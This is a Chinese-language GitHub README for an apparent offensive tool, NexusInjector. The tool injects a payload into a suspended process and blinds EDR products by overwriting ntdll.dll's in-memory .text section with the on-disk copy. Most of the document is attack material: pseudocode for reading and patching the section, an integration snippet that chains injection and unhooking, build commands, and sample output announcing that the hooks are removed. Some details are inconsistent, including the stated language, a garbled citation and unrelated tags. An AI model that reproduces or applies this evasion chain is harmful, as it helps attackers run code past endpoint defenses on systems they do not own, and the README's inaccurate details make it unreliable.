TheCROWNV12/NexusInjector

GitHub: TheCROWNV12/NexusInjector

一个用于演示用户态 EDR 绕过的底层 C++ 框架,通过原子热修补 ntdll.dll 的 .text 节实现 API Unhooking。

Stars: 0 | Forks: 0

# NexusInjector **通过编程式 API Unhooking 实现用户态 EDR 绕过** *本科毕业论文级别技术专著* ## 目录 1. [摘要](#1-abstract) 2. [数学基础:RVA 到 RAW 的转换](#2-mathematical-foundation-rva-to-raw-conversion) 3. [系统调用插桩](#3-system-call-instrumentation) 4. [热修补 ntdll.dll 的 .text 节](#4-hot-patching-the-text-section-of-ntdlldll) 5. [构建系统与原生编译](#5-build-system--native-compilation) 6. [使用与集成](#6-usage--integration) 7. [学术免责声明](#7-academic-disclaimer) 8. [参考文献](#8-references) ## 1. 摘要 终端检测与响应(EDR)代理通过在 `ntdll.dll` 和 `kernel32.dll` 导出的关键 NT API 函数的入口点安装 **inline hooks**,从而破坏用户态 API 监控表面。这些 hook 会将执行流重定向到一个特权检查驱动程序,该程序会在每个系统调用到达内核之前验证其合法性。 **NexusInjector** 实现了一个双阶段的 unhooking 引擎: - **阶段 I — 挂起进程注入:** 在 `CREATE_SUSPENDED` 语义下打开、分配并写入目标进程,以确保在 API 表面恢复之前不会执行任何恶意线程。 - **阶段 II — 编程式 .text 节重建:** 从已知良好的磁盘映射中检索 `ntdll.dll` 的原始 `.text` 节,通过 PE32/PE32+ 的 RVA 到 RAW 公式进行重定位,并以原子方式将其写入被挂钩(hooked)的内存区域,从而在单次 `WriteProcessMemory` 操作中有效擦除每一个 EDR trampoline。 最终结果是,该进程的 NT API 表面与全新加载的、未经插桩的 `ntdll.dll` 逐字节完全相同——使操作者能够在不受 EDR 检测的情况下调用任何已脱钩的 syscall。 ## 2. 数学基础:RVA 到 RAW 的转换 磁盘上的每个 PE 文件都将节存储在文件偏移量处;在内存中,这些相同的节被加载到虚拟地址。为了用磁盘上的原始字节覆盖内存中的 `.text` 节,我们必须将节头的**相对虚拟地址(RVA)**转换为**原始文件偏移量**。 ### 2.1 符号说明 设: | 符号 | 含义 | |--------|---------| | `RVA_s` | 目标节的相对虚拟地址 | | `P` | 内存中已加载 PE 映像的基地址 | | `VA_s` | 内存中该节的虚拟地址:`VA_s = P + RVA_s` | | `R_sec` | 该节在 PE 文件中的原始偏移量(来自 `IMAGE_SECTION_HEADER.PointerToRawData`) | | `V_sec` | 该节加载时的虚拟地址(来自 `IMAGE_SECTION_HEADER.VirtualAddress`) | | `FO` | 对应于任意 RVA 的最终文件偏移量 | ### 2.2 转换规则 给定节边界内的任意 RVA: $$ FO = R_{sec} + (RVA - V_{sec}) $$ *构造性证明。* PE 加载器将文件中从 `R_sec` 开始的 `V_sec` 字节映射到虚拟地址 `VA_s`。差值 `(RVA - V_sec)` 衡量了目标地址超过节起始点的距离;将该增量加到原始偏移量上,即可得出磁盘 `.dll` 文件内的确切字节位置。 ### 2.3 应用 — 原始 .text 提取 ``` Algorithm 1 — Read-Pristine-Section Input: hFile HANDLE to ntdll.dll on disk pNtHeader ptr to IMAGE_NT_HEADERS dwSectionIndex index of .text in IMAGE_SECTION_HEADER array Output: pbBuffer heap-allocated copy of pristine .text bytes 1 sec <- &IMAGE_FIRST_SECTION(pNtHeader)[dwSectionIndex] 2 rva <- sec.VirtualAddress 3 raw <- sec.PointerToRawData 4 sz <- min(sec.SizeOfRawData, sec.Misc.VirtualSize) 5 pbBuffer <- HeapAlloc(sz) 6 SetFilePointer(hFile, raw, NULL, FILE_BEGIN) 7 ReadFile(hFile, pbBuffer, sz, &cbRead, NULL) 8 return pbBuffer ``` 由于被挂钩的 EDR 进程在内存中的 `.text` 与冷文件不同,我们使用磁盘上的原始副本。RVA 到 RAW 公式保证了我们能准确读取 EDR 最初覆盖的那些字节。 ## 3. 系统调用插桩 ### 3.1 syscall 代理模式 `ntdll.dll` 中的原生 NT API 函数最终都会发出一条 `syscall` 指令(x64)或 `sysenter` 指令(x86)。典型的未插桩函数体具有以下形式: ``` ; NtCreateThreadEx (x64, Windows 10 22H2) mov r10, rcx mov eax, 0C7h ; syscall number syscall ret ``` EDR hook 使用 `jmp` 指令替换此函数的前几个字节,将其跳转到一个监控 trampoline: ``` ; Hooked NtCreateThreadEx jmp qword ptr [EDR_MONITOR] ; 5-byte near jump ``` 当执行到达 trampoline 时,EDR 会检查调用者、验证参数,并有条件地转发给真正的 syscall。 ### 3.2 Unhooking 策略 NexusInjector **不会**恢复单个函数序言。相反,它执行**整体的 .text 节替换**。每个 syscall stub 都会同时恢复到其出厂状态。 ``` In-memory state before unhooking: +---------------------------------------------+ | ntdll.dll .text section (in target process) | +---------------------------------------------+ | NtOpenFile: jmp [EDR_MONITOR] | <- HOOKED | NtCreateFile: jmp [EDR_MONITOR] | <- HOOKED | NtReadFile: jmp [EDR_MONITOR] | <- HOOKED | ... | | NtCreateThreadEx: jmp [EDR_MONITOR] | <- HOOKED +---------------------------------------------+ In-memory state after unhooking: +---------------------------------------------+ | ntdll.dll .text section (in target process) | +---------------------------------------------+ | NtOpenFile: mov r10, rcx; mov eax, 0x... | <- PRISTINE | NtCreateFile: mov r10, rcx; mov eax, 0x... | <- PRISTINE | NtReadFile: mov r10, rcx; mov eax, 0x... | <- PRISTINE | ... | | NtCreateThreadEx: mov r10, rcx; mov eax, 0C7h| <- PRISTINE +---------------------------------------------+ ``` 因为该节是在单次 `WriteProcessMemory` 调用中恢复的,所以 EDR 没有机会检测到部分修改或对单个 stub 重新挂钩。 ## 4. 热修补 ntdll.dll 的 .text 节 ### 4.1 ASCII 状态图 — 热修补前 ``` Target Process (SUSPENDED) ===================================================================== Address Region Content ===================================================================== 0x7FFE0000 ntdll.dll PE header MZ........PE....... 0x7FFE0400 .text (hooked) [jmp EDR] [jmp EDR] [jmp EDR] ^^^^^^^^^^^^^^^ Every entry point redirected through EDR trampoline. 0x7FFE3000 .rdata ... 0x7FFE5000 .data ... EDR Driver (kernel) communicates with EDR user-mode agent ^ | EDR Hook Trampoline (in agent DLL) ---------------+ ``` **关键观察:** EDR 用户态代理将其自身的 DLL 注入到目标进程中,并通过 `jmp` 修补对 `.text` 中的每个 NT API 进行了挂钩。 ### 4.2 ASCII 状态图 — 热修补后 ``` Target Process (SUSPENDED) ===================================================================== Address Region Content ===================================================================== 0x7FFE0000 ntdll.dll PE header MZ........PE....... 0x7FFE0400 .text (restored) [mov r10,rcx] [mov eax,...] ^^^^^^^^^^^^^^^ Byte-for-byte identical to on-disk ntdll.dll. 0x7FFE3000 .rdata ... 0x7FFE5000 .data ... EDR Driver (kernel) <-- no user-mode agent can intercept syscalls now EDR Hook Trampoline (in agent DLL) ---+ (orphaned — execution never reaches it) ``` **关键观察:** EDR 内核驱动程序仍然处于活动状态,但用户态的 trampoline 现在已成为死代码。每个 syscall 都直接由恢复后的 `ntdll.dll` stub 发出,完全绕过了 EDR 检查层。 ### 4.3 实现伪代码 ``` Phase II — Hot-Patching Input: hProcess HANDLE to target (suspended) dwNtdllBase base address of ntdll.dll in target 1 hFile <- CreateFile("C:\\Windows\\System32\\ntdll.dll", ...) 2 hMap <- CreateFileMapping(hFile, NULL, PAGE_READONLY, 0, 0, NULL) 3 pMap <- MapViewOfFile(hMap, FILE_MAP_READ, 0, 0, 0) 4 pDos <- (IMAGE_DOS_HEADER *)pMap 5 pNt <- (IMAGE_NT_HEADERS *)((BYTE *)pMap + pDos->e_lfanew) 6 sec <- IMAGE_FIRST_SECTION(pNt) 7 for i = 0 to pNt->FileHeader.NumberOfSections - 1: 8 if strcmp(sec[i].Name, ".text") == 0: 9 break 10 rawAddr <- sec[i].PointerToRawData 11 virtAddr <- dwNtdllBase + sec[i].VirtualAddress 12 secSize <- sec[i].SizeOfRawData 13 pbPristine <- (BYTE *)pMap + rawAddr 14 WriteProcessMemory(hProcess, (LPVOID)virtAddr, pbPristine, secSize, NULL) 15 UnmapViewOfFile(pMap) 16 CloseHandle(hMap) 17 CloseHandle(hFile) ``` 第 14 行是擦除所有 hook 的**单次原子写入**。 ## 5. 构建系统与原生编译 ### 5.1 前置条件 | 组件 | 版本 / 要求 | |-----------|-----------------------| | 操作系统 | Windows 10 22H2 / Windows 11 23H2 (x64) | | 工具链 | Microsoft Visual Studio 2022 (MSVC v143) | | SDK | Windows 10 SDK 10.0.20348.0 或更高版本 | | 架构 | `amd64` (x64) 目标 | ### 5.2 项目结构 ``` NexusInjector/ ├── src/ │ ├── main.c # Entry point, CLI argument parsing │ ├── injector.c / .h # Suspended-process creation & injection │ ├── unhook.c / .h # RVA-to-RAW conversion & .text patching │ ├── pe.c / .h # PE parser (DOS/COFF/NT headers) │ ├── syscall.c / .h # Direct syscall stubs (fallback) │ └── utils.c / .h # Error handling, string helpers ├── LICENSE └── README.md ``` ### 5.3 编译说明 打开 **Developer Command Prompt for VS 2022** 并执行: ``` cl.exe /nologo /O2 /EHsc /W4 /WX /utf-8 ^ /Fe:bin\NexusInjector.exe ^ /Fo:build\ ^ src\main.c src\injector.c src\unhook.c src\pe.c src\syscall.c src\utils.c ^ /link /SUBSYSTEM:CONSOLE /DYNAMICBASE /HIGHENTROPYVA /NXCOMPAT ``` | 标志 | 原理 | |--------------|-----------| | `/O2` | 最大化速度;内联 PE 解析循环 | | `/EHsc` | C++ 异常处理模型;仅捕获 `throw` (`sc`) | | `/W4` `/WX` | 将级别 4 的警告视为错误 | | `/utf-8` | 源和执行字符集为 UTF-8 | | `/SUBSYSTEM:CONSOLE` | 分配一个控制台;`printf` 诊断输出所必需 | | `/DYNAMICBASE` / `/HIGHENTROPYVA` / `/NXCOMPAT` | ASLR 和 DEP 加固 | ### 5.4 使用 Make (NMake) 进行最小化构建 ``` # Makefile (NMake format) CC = cl CFLAGS = /nologo /O2 /EHsc /W4 /WX /utf-8 LDFLAGS = /link /SUBSYSTEM:CONSOLE /DYNAMICBASE /HIGHENTROPYVA /NXCOMPAT SRC = src\main.c src\injector.c src\unhook.c src\pe.c src\syscall.c src\utils.c OUT = bin\NexusInjector.exe all: $(OUT) $(OUT): $(SRC) if not exist bin mkdir bin if not exist build mkdir build $(CC) $(CFLAGS) /Fe:$(OUT) /Fo:build\ $(SRC) $(LDFLAGS) clean: if exist build del /Q build\* if exist bin del /Q $(OUT) .PHONY: all clean ``` 构建命令: ``` nmake /f Makefile ``` ### 5.5 预期输出 ``` C:\NexusInjector> bin\NexusInjector.exe --target notepad.exe [+] Created process notepad.exe (PID 7404) — SUSPENDED [+] Allocated 4096 bytes at 0x1A2B0000 in target [+] Copied payload to target [+] ntdll.dll base in target: 0x7FFE0000 [+] Pristine .text size: 0x1C000 bytes [+] Wrote pristine .text at VA 0x7FFE0400 (atomic patch) [+] Resumed main thread [+] Injection complete — EDR hooks removed from ntdll.dll ``` ## 6. 使用与集成 ### 6.1 基本用法 ``` NexusInjector.exe --target ``` 示例: ``` NexusInjector.exe --target calc.exe ``` ### 6.2 集成示例(通过 DLL 的 C/C++) ``` // User of the NexusInjector API #include "injector.h" #include "unhook.h" int main(void) { DWORD dwPid = 0; HANDLE hProcess = NULL, hThread = NULL; // Phase I — suspended injection if (!CreateSuspendedProcess(L"target.exe", &dwPid, &hProcess, &hThread)) return 1; if (!InjectPayload(hProcess)) return 1; // Phase II — programmatic unhook if (!RestoreNtdllTextSection(hProcess)) return 1; ResumeThread(hThread); return 0; } ``` ## 7. 学术免责声明 ``` ╔══════════════════════════════════════════════════════════════════════╗ ║ ACADEMIC DISCLAIMER ║ ║ ║ ║ NexusInjector is published exclusively for: ║ ║ ║ ║ • Academic research and education in adversarial ║ ║ Windows internals, offensive tradecraft, and defensive ║ ║ evasion detection. ║ ║ ║ ║ • Authorized threat emulation, red-team engagements, ║ ║ and penetration testing conducted under explicit written ║ ║ authorization from the system owner. ║ ║ ║ ║ • EDR / AV bypass research and responsible disclosure to ║ ║ security vendors. ║ ║ ║ ║ UNAUTHORIZED USE, INCLUDING BUT NOT LIMITED TO: ║ ║ ║ ║ • Deployment against production systems without prior consent ║ ║ • Malware development, ransomware, or any crime-ware ║ ║ • Violation of the Computer Fraud and Abuse Act (CFAA) ║ ║ or any equivalent jurisdiction's computer misuse statutes ║ ║ ║ ║ IS STRICTLY PROHIBITED AND MAY RESULT IN CRIMINAL PROSECUTION. ║ ║ ║ ║ THE AUTHOR PROVIDES NO WARRANTY, EXPRESS OR IMPLIED, AND ║ ║ DISCLAIMS ALL LIABILITY FOR DAMAGES ARISING FROM THE USE OF ║ ║ THIS SOFTWARE. THE ENTIRE RISK OF USE REMAINS WITH THE OPERATOR. ║ ║ ║ ║ By cloning, building, or executing NexusInjector you acknowledge ║ ║ that you have read, understood, and agree to be bound by the ║ ║ terms above. ║ ╚══════════════════════════════════════════════════════════════════════╝ ``` ## 8. 参考文献 1. **Microsoft PE 格式规范** — *PE Format* (v10.0). https://learn.microsoft.com/en-us/windows/win32/debug/pe-format 2. **S. Russinovich, A. Margosis** — *Windows Sysinternals Administrator's Reference* (Microsoft Press, 2011). 3. **NT API Syscall 编号** — *j00ru / wot Realm*. https://github.com/j00ru/windows-syscalls 4. **Inline Hooking 与 Detours** — G. Hunt, D. Brubacher, *Detours: Binary Interception of Win32 Functions* (MSR-TR-99-21, 1999). 5. **通过重建 .text 节绕过 EDR** — *ired.team*, "Reading ntdll's .text section from disk". https://www.ired.team/offensive-security/code-injection-process-injection/reading-ntdlls-text-section-from-disk 6. **通过 CreateSuspended 进行进程注入** — *0x00pf*, "Process Doppel- gänging / Hollowing" (2017). **维护者:** [lorbe](https://github.com/lorbe) **代码仓库:** https://github.com/lorbe/NexusInjector **许可证:** MIT(详见 [LICENSE](LICENSE))
标签:API脱钩, C++, Linux, PE解析, SSH蜜罐, 安全意识培训, 恶意软件, 数据擦除, 进程注入